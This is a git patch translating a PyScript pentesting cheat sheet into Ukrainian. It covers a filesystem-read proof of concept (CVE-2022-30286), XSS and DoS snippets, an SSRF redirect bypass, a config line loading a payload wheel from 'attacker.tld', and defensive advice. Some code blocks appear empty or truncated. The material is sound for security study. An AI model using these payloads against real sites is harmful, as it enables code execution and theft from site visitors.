From 2da2f5470f577a07866e548b1fe766141865c16f Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 02:59:58 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/python/pyscript.md' --- .../python/pyscript.md | 76 ++++++++++++++++--- 1 file changed, 67 insertions(+), 9 deletions(-) diff --git a/src/generic-methodologies-and-resources/python/pyscript.md b/src/generic-methodologies-and-resources/python/pyscript.md index bed1ec1d9..9f403406c 100644 --- a/src/generic-methodologies-and-resources/python/pyscript.md +++ b/src/generic-methodologies-and-resources/python/pyscript.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Посібник з пентестингу PyScript +## PyScript Pentesting Guide -PyScript - це новий фреймворк, розроблений для інтеграції Python в HTML, щоб його можна було використовувати разом з HTML. У цьому шпаргалці ви знайдете, як використовувати PyScript для ваших цілей пентестингу. +PyScript - це новий фреймворк, розроблений для інтеграції Python в HTML, щоб його можна було використовувати разом з HTML. У цьому шпаргалці ви знайдете, як використовувати PyScript для ваших цілей тестування на проникнення. -### Витягування / отримання файлів з віртуальної файлової системи пам'яті Emscripten: +### Витягування / Отримання файлів з віртуальної файлової системи пам'яті Emscripten: `CVE ID: CVE-2022-30286`\ \ -Код: +Code: ```html with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out @@ -19,7 +19,7 @@ with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out ``` ![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png) -### [OOB витік даних з файлової системи віртуальної пам'яті Emscripten (моніторинг консолі)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript) +### [OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript) `CVE ID: CVE-2022-30286`\ \ @@ -78,7 +78,7 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) Code: ```html -prinht(" +prinht("" -") +"") ``` ![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png) -### Атака DoS (Безкінечний цикл) +### DoS атака (Безкінечний цикл) -Code: +Код: ```html while True: @@ -156,4 +156,62 @@ print("            & ``` ![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png) +--- + +## Нові вразливості та техніки (2023-2025) + +### Підробка запитів на стороні сервера через неконтрольовані перенаправлення (CVE-2025-50182) + +`urllib3 < 2.5.0` ігнорує параметри `redirect` та `retries`, коли він виконується **всередині середовища виконання Pyodide**, яке постачається з PyScript. Коли зловмисник може впливати на цільові URL-адреси, він може змусити Python-код слідувати перенаправленням між доменами, навіть коли розробник явно їх відключив ‑ ефективно обходячи логіку анти-SSRF. +```html + +``` +Виправлено в `urllib3 2.5.0` – оновіть пакет у вашому зображенні PyScript або зафіксуйте безпечну версію в `packages = ["urllib3>=2.5.0"]`. Дивіться офіційний запис CVE для деталей. + +### Завантаження довільних пакетів та атаки на ланцюг постачання + +Оскільки PyScript дозволяє довільні URL-адреси в списку `packages`, зловмисник, який може змінювати або впроваджувати конфігурацію, може виконати **повністю довільний Python** у браузері жертви: +```html + +packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"] + + +``` +*Тільки чисті Python-колеса потрібні – крок компіляції WebAssembly не потрібен.* Переконайтеся, що конфігурація не контролюється користувачем і хостите довірені колеса на власному домені з HTTPS та SRI-хешами. + +### Зміни в санітизації виходу (2023+) + +* `print()` все ще впроваджує сирий HTML і, отже, піддається XSS (приклади вище). +* Новіший допоміжний засіб `display()` **за замовчуванням екранує HTML** – сирий розмітка повинна бути обгорнута в `pyscript.HTML()`. +```python +from pyscript import display, HTML + +display("escaped") # renders literally + +display(HTML("not-escaped")) # executes as HTML -> potential XSS if untrusted +``` +Ця поведінка була введена в 2023 році і задокументована в офіційному посібнику Built-ins. Покладайтеся на `display()` для ненадійного вводу і уникайте прямого виклику `print()`. + +--- + +## Оборонні найкращі практики + +* **Тримайте пакети в актуальному стані** – оновлюйте до `urllib3 >= 2.5.0` і регулярно перезбирайте колеса, які постачаються з сайтом. +* **Обмежте джерела пакетів** – посилайтеся лише на назви PyPI або URL-адреси того ж походження, бажано захищені Sub-resource Integrity (SRI). +* **Ускладніть політику безпеки контенту** – забороніть вбудований JavaScript (`script-src 'self' 'sha256-…'`), щоб інжектовані блоки `